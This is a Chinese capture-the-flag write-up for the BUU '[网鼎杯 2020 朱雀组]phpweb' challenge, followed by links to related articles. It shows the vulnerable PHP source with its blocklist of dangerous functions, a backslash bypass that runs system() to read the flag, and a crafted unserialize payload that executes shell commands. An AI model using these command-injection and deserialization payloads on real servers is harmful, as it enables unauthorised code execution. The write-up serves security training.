BUU [网鼎杯 2020 朱雀组]phpweb

简介: BUU [网鼎杯 2020 朱雀组]phpweb

BUU [网鼎杯 2020 朱雀组]phpweb

众生皆懒狗。打开题目,只有一个报错,不知何从下手。

翻译一下报错,data()函数:,还是没有头绪,中国有句古话说的好“遇事不决抓个包”

抓个包果然有东西,仔细一看这不就分别是函数和参数吗,试一下别的,从报错发现和函数call_user_func()有关系。

试一下命令执行有过滤,难办,那还是得办。从这里开始分为两种方法了。

法一:

绕过过滤:

\system("ls");

\system可以绕过黑名单的原因:php内的" \ "在做代码执行的时候,会识别特殊字符串

Payload:func=\system&p=tac $(find / -name fla*)

一步到位。

法二:

利用file_get_contents获取index.php的源码,

func=file_get_contents&p=index.php

源码如下

  <?php

  $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");

  function gettime($func, $p) {
​    $result = call_user_func($func, $p);
​    $a= gettype($result);
​    if ($a == "string") {
​      return $result;
​    } else {return "";}
  }
  
  class Test {
​    var $p = "Y-m-d h:i:s a";
​    var $func = "date";
​    function __destruct() {
​      if ($this->func != "") {
​        echo gettime($this->func, $this->p);
​      }
​    }
  }
  
  $func = $_REQUEST["func"];
  $p = $_REQUEST["p"];
  if ($func != null) {
​    $func = strtolower($func);
​    if (!in_array($func,$disable_fun)) {
​      echo gettime($func, $p);
​    }else {
​      die("Hacker...");
​    }
  }
  ?>

妈呀过滤的真多,麻了,幸好没有去一个一个测试。


分析一下代码,是存在反序列化的。我们可以传进去func=unserialize,func=unserialize,p=序列化后的字符串。可以序列化Text类,其中var $p = “tac $(find / -name fla*)”;var $func = “system”;【注意这里的类里面的func和p与传进去的不一样,不需要进行过滤】,貌似反序列化的题经常喜欢拿名字一样的两个东西来混淆视听,这个应该是考察我们对序列化和代码的理解能力。

构造exp

Payload:

func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A24%3A%22tac+%24%28find+%2F+-name+fla%2A%29%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

(这里应该是可以不url编码直接传字符串的)

也可以是Payload:

func=unserialize&p=O:4:“Test”:2:{s:1:“p”;s:24:“tac $(find / -name fla*)”;s:4:“func”;s:6:“system”;}

补充法:

好像也可以利用highlight_file或者show_source获取index.php的源码,做法和法二一样。

目录
相关文章
|
2月前
|
JavaScript 前端开发 数据安全/隐私保护
小心QQ信息中的网址传播维金Worm.Win32.Viking.ix/Worm.Viking.pg
小心QQ信息中的网址传播维金Worm.Win32.Viking.ix/Worm.Viking.pg
|
2月前
|
JavaScript 前端开发 数据安全/隐私保护
小心通过QQ尾巴中的网址(Q-Zone.****qq.C0M)传播的Worm.Win32.Viking.r
小心通过QQ尾巴中的网址(Q-Zone.****qq.C0M)传播的Worm.Win32.Viking.r
|
2月前
|
JavaScript 前端开发
某旅游信息网站被挂马Trojan-PSW.Win32.QQRob.lp等
某旅游信息网站被挂马Trojan-PSW.Win32.QQRob.lp等
|
3月前
|
PHP
BUU [网鼎杯 2020 青龙组]AreUSerialz
BUU [网鼎杯 2020 青龙组]AreUSerialz
58 0
|
3月前
|
数据安全/隐私保护
BUU [HCTF 2018]admin
BUU [HCTF 2018]admin
11 0
|
3月前
BUU [ZJCTF 2019]NiZhuanSiWei
BUU [ZJCTF 2019]NiZhuanSiWei
27 0
|
存储 数据安全/隐私保护
[网鼎杯 2020 青龙组]jocker 题解
[网鼎杯 2020 青龙组]jocker 题解
105 0
门牌制作(蓝桥杯省赛B组)
题目描述 本题为填空题,只需要算出结果后,在代码中使用输出语句将所填结果输出即可。 小蓝要为一条街的住户制作门牌号。 这条街一共有 20202020 位住户,门牌号从 11 到 20202020 编号。 小蓝制作门牌的方法是先制作 00 到 99 这几个数字字符,最后根据需要将字符粘贴到门牌上,例如门牌 1017 需要依次粘贴字符 1、0、1、71、0、1、7,即需要 11 个字符 00,22 个字符 11,11 个字符 77。 请问要制作所有的 11 到 20202020 号门牌,总共需要多少个字符 22?
394 0
SAP HUM嵌套HU场景下WM报表LS26里SU号码是外层HU号码
SAP HUM嵌套HU场景下WM报表LS26里SU号码是外层HU号码
SAP HUM嵌套HU场景下WM报表LS26里SU号码是外层HU号码
|
人工智能 程序员 云计算
朴树 vs. Lunar少女组,ET选的人你究竟爱谁?
代码和音乐,同为世界通用语言,如何能够打动程序员那颗冷静理智的心?暗号就是人工智能。著名哲学家圣奥古斯汀曾说过: “数字可以把世界转化为和我们心灵相通的音乐”。
3974 0